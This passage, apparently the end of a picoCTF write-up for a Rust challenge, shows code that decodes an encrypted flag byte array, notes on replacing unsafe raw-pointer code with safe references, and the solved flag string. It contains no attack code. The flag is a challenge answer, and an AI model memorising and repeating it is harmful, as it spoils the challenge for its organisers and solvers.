    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
        "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3",
        "61", "f9", "35",
    ];

    // Convert hex strings to bytes
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: ");
    decrypt(encrypted_buffer, &mut party_foul);
}

Key Fixes and Explanation:

  1. Removed unnecessary raw pointer operations → Rust is memory-safe by default; avoid unsafe unless absolutely needed.

  2. Used a simple reference (&decrypted_buffer) instead of unsafe slices.

  3. Preserved Rust’s memory safety principles → The corrected code works efficiently without unsafe blocks.

picoCTF{n0w_y0uv3_f1x3d_1h3m_411}


Last updated